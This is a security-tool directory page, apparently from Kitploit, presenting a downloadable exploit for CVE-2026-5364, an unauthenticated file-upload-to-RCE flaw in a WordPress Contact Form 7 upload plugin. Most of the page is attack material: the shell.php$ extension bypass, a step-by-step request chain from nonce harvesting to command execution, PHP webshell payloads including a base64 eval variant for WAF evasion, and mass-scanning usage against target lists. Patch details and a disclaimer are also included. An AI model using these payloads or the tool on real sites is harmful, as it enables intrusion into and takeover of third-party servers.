Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-5364 — CVE-2026-5364 es una vulnerabilidad de subida arbitraria de archivos sin autenticación (CVSS 8.1, Alta) en Drag and Drop File Upload for Contact Form 7 | Kitploit
Herramientas/GitHubGitHub/xxconi/cve-2026-5364
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubxxconi/cve-2026-5364

CVE-2026-5364

CVE-2026-5364 es una vulnerabilidad de subida arbitraria de archivos sin autenticación (CVSS 8.1, Alta) en Drag and Drop File Upload for Contact Form 7

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-5364

CVE-2026-5364 es una vulnerabilidad de carga de archivos arbitraria no autenticada con CVSS 8.1 (High) en Drag and Drop File Upload for Contact Form 7

CVE-2026-5364 — CF7 Drag & Drop File Upload RCE

Carga de archivos arbitraria no autenticada mediante bypass de sanitize_file_name() CVSS 8.1 (High) | Afectado: <= 1.1.3 | Parcheado: 1.1.4


📋 Resumen General

CampoValor
CVE IDCVE-2026-5364
PluginDrag and Drop File Upload for Contact Form 7
Slugdrag-and-drop-file-upload-for-contact-form-7
CVSS8.1 (High)
VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Afectado<= 1.1.3
Parcheado1.1.4
InvestigadorThomas Sanzey
Publicación23 de abril de 2026

🔍 Resumen de la Vulnerabilidad

El plugin lee la extensión del archivo antes de la limpieza de sanitize_file_name(). El atacante sube un archivo llamado shell.php$:

root@kitploit:~
pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← blacklist'i atlatır
sanitize_file_name('shell.php$')            →  'shell.php'  ← PHP olarak kaydedilir

Cadena de tres vulnerabilidades independientes:

  1. Lista blanca controlada por el atacante — el parámetro POST type se lee del usuario
  2. Extensión antes de la sanitización — pathinfo() se aplica al nombre de archivo sin procesar
  3. Sanitización tardía — sanitize_file_name() dentro de wp_unique_filename() elimina el carácter $

⚙️ Instalación

root@kitploit:~
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

Requisitos

  • Python 3.8+
  • Biblioteca requests
  • Objetivo: WordPress + CF7 D&D Upload <= 1.1.3 + página con formulario CF7

🚀 Uso

Objetivo único

root@kitploit:~
# Temel exploit (id komutu)
python CVE-2026-5364.py -u https://target.com

# Özel komut
python CVE-2026-5364.py -u https://target.com -c "whoami"

# İnteraktif shell
python CVE-2026-5364.py -u https://target.com --interactive

# Farklı shell tipi
python CVE-2026-5364.py -u https://target.com --shell exec

# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

Escaneo masivo

root@kitploit:~
# 20 thread ile tarama
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# Yamalı sürümleri de dene
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# Sonuçları dosyaya kaydet
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

Todos los parámetros

root@kitploit:~
Hedef:
  -u, --url URL         Tek hedef URL
  -l, --list FILE       Hedef listesi (satır başı URL)

Exploit:
  -c, --cmd CMD         OS komutu (varsayılan: id)
  --shell TYPE          Webshell tipi: basic|exec|pass|eval|info
  -i, --interactive     İnteraktif shell aç
  --no-skip-patched     Yamalı sürümleri de dene

Tarama:
  -t, --threads N       Thread sayısı (varsayılan: 10)
  --timeout S           Timeout saniye (varsayılan: 15)
  --proxy URL           Proxy adresi

Çıktı:
  -o, --output FILE     Sonuç dosyası
  -v, --verbose         Ayrıntılı çıktı
  --no-color            Renksiz çıktı

🐚 Tipos de Webshell

TipoPayloadUso
basic<?php system($_GET["cmd"]); ?>Propósito general
exec<?php echo shell_exec($_GET["cmd"]); ?>Salida completa
pass<?php passthru($_GET["cmd"]); ?>Salida binaria
eval<?php @eval(base64_decode($_POST["x"])); ?>Oculto / bypass de WAF
info<?php phpinfo(); ?>Información de PHP

🔬 Detalle Técnico

Cadena del Exploit

root@kitploit:~
1. Nonce Tespiti
   └─ wp_localize_script() ile her ziyaretçiye açık
      GET /contact/ → HTML içinde "nonce":"abc123def4"

2. Shell Yükleme
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← blacklist'te yok
      file=shell.php$    ← sanitize_file_name() → shell.php

3. URL Alma
   └─ Response: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

Caracteres de Bypass

Caracteres eliminados por sanitize_file_name():

root@kitploit:~
$  %  ~  `  (boşluk)

La herramienta prueba automáticamente todos los caracteres de bypass.


🛡️ Factores Mitigantes

FactorImpacto
Apache .htaccess (Content-Disposition: attachment)Evita la ejecución de PHP
Nginx / LiteSpeed.htaccess no válido — RCE posible
Nombre de archivo aleatorio (uniqid())Inefectivo porque la respuesta AJAX devuelve la URL
NonceProtección CSRF — no es autenticación, inefectivo

🩹 Solución

Actualice el plugin a la versión 1.1.4 o superior.

root@kitploit:~
# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7

Corrección del código (1.1.4)

root@kitploit:~
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// DOĞRU (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id);  // POST'tan değil

⚠️ Aviso Legal

Esta herramienta ha sido desarrollada solo para investigación de seguridad con fines educativos y defensivos. El uso en sistemas no autorizados está prohibido y puede tener consecuencias legales. Úsela únicamente en sistemas sobre los que tenga permiso.


📄 Referencias

  • Aviso de Wordfence
  • Página del Plugin de WordPress
  • NVD CVE-2026-5364
  • Documentación de sanitize_file_name()
Descargar herramienta